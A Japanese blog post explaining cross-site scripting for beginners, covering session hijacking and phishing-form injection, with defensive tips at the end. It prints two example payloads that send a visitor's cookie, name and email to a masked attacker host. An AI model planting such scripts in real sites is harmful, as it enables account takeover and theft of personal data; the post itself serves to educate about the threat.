ラベル クロスサイトスクリプティング(XSS) の投稿を表示しています。 すべての投稿を表示
ラベル クロスサイトスクリプティング(XSS) の投稿を表示しています。 すべての投稿を表示

2016年3月1日火曜日

1779・クロスサイトスクリプティング(XSS)

クロスサイトスクリプティング(XSS)とは、「他人のWebサイトへ、悪意のあるスクリプトを埋め込む」事ですが、どのようにして「悪意のあるスクリプト」を埋め込む事ができるのか・・・

まず、「悪意のあるスクリプト」を埋め込むためには、Webサイト上に入力フォームがある必要があります。


わかりやすい例で言うと、「掲示板」があります。

要は、この入力フォームに「悪意のあるスクリプト」を埋め込むわけですね。
ここでいう「スクリプト」とは、一般的に「javascript」を指します。










クロスサイトスクリプティング(XSS)の脅威

  • 訪問者のクッキー情報を抜き取るスクリプトを埋め込む事による「セッションハイジャック」
  • 訪問者の個人情報の入力を促す入力フォーム(HTMLタグ)を埋め込むことによる、個人情報の不正搾取



セッションハイジャック

クッキー(cookie)とは、Webサイト側が、訪問者を識別するための仕組みになり、訪問者のアカウント情報や個人情報が設定されている場合があります。

もしこの「クッキー(cookie)」情報を、第三者に抜き取られてしまったら、抜き取られた人のアカウントで不正にログインされてしまうのです。

これを、「セッションハイジャック」と呼びます。


以下が、訪問者(被害者)の「クッキー(cookie)」情報を、攻撃者のサイトへ不正に送る「javascript」になります。

<script type=”text/javascript” >
document.location=”http://●●●●●.com/script.cgi?cookie=”+document.cookie;
</script>

上記は、クッキー情報(document.cookie)を、攻撃者のサイト(http://●●●●●.com)の、クッキー情報を抜き取るプログラム(script.cgi)へ、送っています。


訪問者の個人情報の入力を促す入力フォーム

こちらは、入力フォームを埋め込み、個人情報を不正に搾取する手法になります。

以下が、HTMLタグを用いた入力フォームのソースになります。

<form method=”post” action=”http://●●●●●.com/script.cgi”>
<p>氏名(漢字):<input type=”text” name=”name”></p>
<p>メール:<input type=”text” name=”email”></p>
<p><input type=”submit” value=”送信する”></p>
</form>

上記のソースを埋め込むことで、攻撃者のサイト(http://●●●●●.com)の個人情報を取得するプログラム(script.cgi)に、被害者の「名前」と「メールアドレス」を、不正に送る事ができます。






対策と予防


  • 最新のブラウザにアップデートする
  • 電子メール内やWeb上の不審なURLを安易にクリックしない
  • ブラウザのセキュリティ設定により、スクリプトの実行を無効化する
  • ウイルス対策製品により、不正スクリプトを検出し、実行をブロックする
  • セキュリティ対策製品の機能により、不正サイトへのアクセスをブロックする


Youtube